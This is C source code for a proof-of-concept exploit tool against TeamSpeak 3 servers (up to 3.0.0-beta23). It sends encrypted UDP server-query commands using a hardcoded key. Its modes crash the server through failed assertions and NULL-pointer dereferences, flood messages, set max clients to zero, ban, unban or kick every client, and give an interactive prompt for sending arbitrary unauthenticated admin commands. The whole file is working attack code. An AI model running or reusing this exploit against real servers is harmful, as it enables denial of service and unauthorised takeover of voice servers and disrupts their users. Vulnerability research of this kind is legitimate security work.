|
/* by Luigi Auriemma */
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <time.h>
#ifdef WIN32 #include <winsock.h> #include "winerr.h"
#define close closesocket #define sleep Sleep #define ONESEC 1000 #define waitms(x) sleep(x) #else #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <arpa/inet.h> #include <netinet/in.h> #include <netdb.h>
#define ONESEC 1 #define stristr strcasestr #define stricmp strcasecmp #define waitms(x) sleep(x * 1000) #endif
typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32;
#define VER "0.1" #define PORT 9987 #define BUFFSZ 0x400 // max 0x1f4 for "packetType != 1"
#define SCAN_MS 40 #define INIT_TS3 if(sd) close(sd); \ sd = udp_sock(); \ p = buff; \ p += putrr(p, 8); /* tag */ \ p += putxx(p, 0, 16); /* header... */ \ p += putxx(p, 0, 16); \ p += putxx(p, 2, 8); /* packetType 2 is COMMAND */
static u8 *assert_cmds[] = { "banlist", "complainlist", "servernotifyunregister", "serverrequestconnectioninfo", "setconnectioninfo", "servernotifyregister event=server", NULL };
static u8 *null_cmds[] = { "bandelall", "channelcreate channel_name=name", "channelsubscribe cid=1", "channelsubscribeall", "banadd ip=1.2.3.4", "clientedit clid=1 client_description=none", "messageupdateflag msgid=1 flag=1", "complainadd tcldbid=1 message=none", "complaindelall tcldbid=1", "ftinitupload clientftfid=1 name=file.txt cid=5 cpw= size=9999 overwrite=1 resume=0", "ftgetfilelist cid=1 cpw= path=\\/", "ftdeletefile cid=1 cpw= name=\\/", "ftcreatedir cid=1 cpw= dirname=\\/", "ftrenamefile cid=1 cpw= tcid=1 tcpw=secret oldname=\\/ newname=\\/", "ftinitdownload clientftfid=1 name=\\/ cid=1 cpw= seekpos=0", NULL };
static u8 *virtualserver[] = { "virtualserver_antiflood_ban_time", "virtualserver_antiflood_points_needed_ban", "virtualserver_antiflood_points_needed_kick", "virtualserver_antiflood_points_needed_warning", "virtualserver_antiflood_points_tick_reduce", "virtualserver_autostart", "virtualserver_channelsonline", "virtualserver_client_connections", "virtualserver_clientsonline", "virtualserver_complain_autoban_count", "virtualserver_complain_autoban_time", "virtualserver_complain_remove_time", "virtualserver_created", "virtualserver_default_channel_admin_group", "virtualserver_default_channel_group", "virtualserver_default_server_group", "virtualserver_download_quota", "virtualserver_filebase", "virtualserver_flag_password", "virtualserver_hostbanner_gfx_interval", "virtualserver_hostbanner_gfx_url", "virtualserver_hostbanner_url", "virtualserver_hostbutton_gfx_url", "virtualserver_hostbutton_tooltip", "virtualserver_hostbutton_url", "virtualserver_hostmessage", "virtualserver_hostmessage_mode", "virtualserver_icon_id", "virtualserver_id", "virtualserver_keypair", "virtualserver_log_channel", "virtualserver_log_client", "virtualserver_log_filetransfer", "virtualserver_log_permissions", "virtualserver_log_query", "virtualserver_log_server", "virtualserver_machine_id", "virtualserver_max_download_total_bandwidth", "virtualserver_max_upload_total_bandwidth", "virtualserver_maxclients", "virtualserver_min_client_version", "virtualserver_min_clients_in_channel_before_forced_silence", "virtualserver_month_bytes_downloaded", "virtualserver_month_bytes_uploaded", "virtualserver_name_phonetic", "virtualserver_needed_identity_security_level", "virtualserver_password", "virtualserver_platform", "virtualserver_port", "virtualserver_priority_speaker_dimm_modificator", "virtualserver_query_client_connections", "virtualserver_queryclientsonline", "virtualserver_reserved_slots", "virtualserver_total_bytes_downloaded", "virtualserver_total_bytes_uploaded", "virtualserver_total_packetloss_control", "virtualserver_total_packetloss_keepalive", "virtualserver_total_packetloss_speech", "virtualserver_total_packetloss_total", "virtualserver_total_ping", "virtualserver_upload_quota", "virtualserver_uptime", "virtualserver_version", NULL };
int ts3_crypt(unsigned char *key /*includes nonce*/, int hdrlen, unsigned char *data, int data_len, int encrypt); int udp_sock(void); int putrr(u8 *dst, int len); int putmm(u8 *dst, u8 *src, int len); int putxx(u8 *data, u32 num, int bits); int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err); int timeout(int sock, int secs); u32 resolv(char *host); void std_err(void);
int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd = 0, i, len, bug; u16 port = PORT; u8 buff[BUFFSZ], *host, *p;
#ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif
setbuf(stdout, NULL);
fputs("\n" "TeamSpeak 3 <= 3.0.0-beta23 multiple vulnerabilities "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout);
if(argc < 3) { printf("\n" "Usage: %s <bug> <host> [port(%d)]>\n" "\n" "Bugs and some examples:\n" " 1 = interface for sending any custom command\n" " 2 = test the failed assertions\n" " 3 = test the NULL pointer dereferences\n" "\n" " 4 = flooding of random server messages\n" " 5 = set the number of max clients to 0 (USE bug 1 and virtualserver for more)\n" " 6 = ban all the clients currently in the server\n" " 7 = unban all the banned clients\n" " 8 = kick all the clients currently in the server\n" " 9 = send a poke message to all the clients in the server\n" "\n", argv[0], port); exit(1); }
bug = atoi(argv[1]); host = argv[2]; if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(host); peer.sin_port = htons(port); peer.sin_family = AF_INET;
printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), port);
if(bug == 1) { printf( "- now you can send and test any command you desire\n" "- refer to doc\\ts3_serverquery_manual.pdf for details and notes!\n" "- use the command \"virtualserver\" for a list of virtualserver parameters to\n" " change through the \"serveredit\" command (password, banner and so on)\n"); for(;;) { printf("\n> "); INIT_TS3 fgets(p, BUFFSZ - (p - buff), stdin); for(; *p && (*p != '\r') && (*p != '\n'); p++); *p = 0; if(!strcmp(buff + 8 + 5, "virtualserver")) { printf("\n"); for(i = 0; virtualserver[i]; i++) { printf(" serveredit %s=\n", virtualserver[i]); } printf("\n- refer to doc\\ts3_serverquery_manual.pdf for details and notes\n"); continue; }
len = ts3_crypt(NULL, 5, buff, p - buff, 1); while((len = send_recv(sd, buff, len, buff, BUFFSZ, &peer, 0)) > 0) { len = ts3_crypt(NULL, 3, buff, len, 0); buff[len] = 0; printf("- %d %s\n", len, buff + 8 + 3); } } } else if(bug == 2) { printf("- send commands that terminate the server due to failed assertions\n"); for(i = 0; assert_cmds[i]; i++) { INIT_TS3 p += putmm(p, assert_cmds[i], -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); } } else if(bug == 3) { printf("- send commands that terminate the server due to failed assertions\n"); for(i = 0; null_cmds[i]; i++) { INIT_TS3 p += putmm(p, null_cmds[i], -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); } } else if(bug == 4) { for(;;) { INIT_TS3 p += putmm(p, "sendtextmessage targetmode=3 msg=", -1); p += putrr(p, -1); //p += putmm(p, "\\a\\b\\f\\n\\r\\t\\v", -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 5) { INIT_TS3 p += putmm(p, "serveredit virtualserver_maxclients=0", -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)); fputc('.', stdout); } else if(bug == 6) { for(i = 0;; i++) { printf("- ban client id %d\r", i); INIT_TS3 p += sprintf(p, "banclient clid=%d", i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 7) { for(i = 0;; i++) { printf("- remove banid %d\r", i); INIT_TS3 p += sprintf(p, "bandel banid=%d", i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 8) { for(i = 0;; i++) { printf("- kick client id %d\r", i); INIT_TS3 p += sprintf(p, "clientkick clid=%d reasonid=5" /*" reasonmsg=byebye"*/, i); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else if(bug == 9) { for(i = 0;; i++) { printf("- send poke message to client id %d\r", i); INIT_TS3 p += sprintf(p, "clientpoke clid=%d msg=", i); p += putrr(p, -1); len = ts3_crypt(NULL, 5, buff, p - buff, 1); if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) != len) break; fputc('.', stdout); waitms(SCAN_MS); } } else { printf("\nError: invalid bug number (%d)\n", bug); exit(1); }
printf("\n- done, check the server manually\n"); if(sd) close(sd); return(0); }
#include <tomcrypt.h> int ts3_crypt(unsigned char *key /*includes nonce*/, int hdrlen, unsigned char *data, int data_len, int encrypt) { static int already_reg = 0; static const unsigned char default_key[] = "c:\\windows\\system\\firewall32.cpl"; unsigned long tag = 8; int err, stat;
if(data_len < (8 + hdrlen)) return(data_len); if(!key) key = (unsigned char *)default_key;
if(!already_reg) { register_cipher(&aes_desc); already_reg = 1; }
#define ts3_crypt_args \ 0, \ key, 16, /* key */ \ key + 16, 16, /* nonce */ \ data + 8, hdrlen, /* header */ \ data + 8 + hdrlen, data_len - (8 + hdrlen), /* input */ \ data + 8 + hdrlen, /* output */ \ data /* tag */
if(encrypt) { err = eax_encrypt_authenticate_memory(ts3_crypt_args, &tag); } else { err = eax_decrypt_verify_memory(ts3_crypt_args, tag, &stat); } if(err != CRYPT_OK) return(-1); return(data_len); }
int udp_sock(void) { static struct sockaddr_in *peerl = NULL; static struct linger ling = {1,1}; static int on = 1; int sd;
sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); setsockopt(sd, SOL_SOCKET, SO_LINGER, (char *)&ling, sizeof(ling)); setsockopt(sd, SOL_SOCKET, SO_BROADCAST, (char *)&on, sizeof(on)); //setsockopt(sd, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on));
// it's necessary a different port for each packet otherwise // the server will wait some seconds before handling the others! if(!peerl) { peerl = malloc(sizeof(struct sockaddr_in)); peerl->sin_addr.s_addr = INADDR_ANY; peerl->sin_port = htons(time(NULL)); peerl->sin_family = AF_INET; } do { peerl->sin_port++; } while(bind(sd, (struct sockaddr *)peerl, sizeof(struct sockaddr_in)) < 0); return(sd); }
int putrr(u8 *dst, int len) { static const char table[] = "0123456789" "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz"; static int rnd = 0; int i, mode = 0;
if(!rnd) rnd = ~time(NULL); if(len < 0) { len = (unsigned)rnd % 100; // 0x1f4, pokes are max 100 chars mode = 1; } for(i = 0; i < len; i++) { rnd = ((rnd * 0x343FD) + 0x269EC3) >> 1; if(mode) { dst[i] = table[rnd % (sizeof(table) - 1)]; } else { dst[i] = rnd; } } return(len); }
int putmm(u8 *dst, u8 *src, int len) { if(len < 0) len = strlen(src); memcpy(dst, src, len); return(len); }
int putxx(u8 *data, u32 num, int bits) { int i, bytes;
bytes = bits >> 3; for(i = 0; i < bytes; i++) { data[i] = (num >> ((bytes - 1 - i) << 3)); //data[i] = (num >> (i << 3)); } return(bytes); }
int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) { int retry, len;
if(in && !out) { fputc('.', stdout); if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) < 0) goto quit; return(0); } if(in) { for(retry = 1; retry; retry--) { // only one retry fputc('.', stdout); if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) < 0) goto quit; if(!timeout(sd, 1)) break; }
if(!retry) { if(!err) return(-1); printf("\nError: socket timeout, no reply received\n\n"); exit(1); } } else { if(timeout(sd, 1) < 0) return(-1); // only one second }
fputc('.', stdout); len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) goto quit; return(len); quit: if(err) std_err(); return(-1); }
int timeout(int sock, int secs) { struct timeval tout; fd_set fd_read;
tout.tv_sec = secs; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); if(select(sock + 1, &fd_read, NULL, NULL, &tout) <= 0) return(-1); return(0); }
u32 resolv(char *host) { struct hostent *hp; u32 host_ip;
host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u32 *)hp->h_addr; } return(host_ip); }
#ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif
|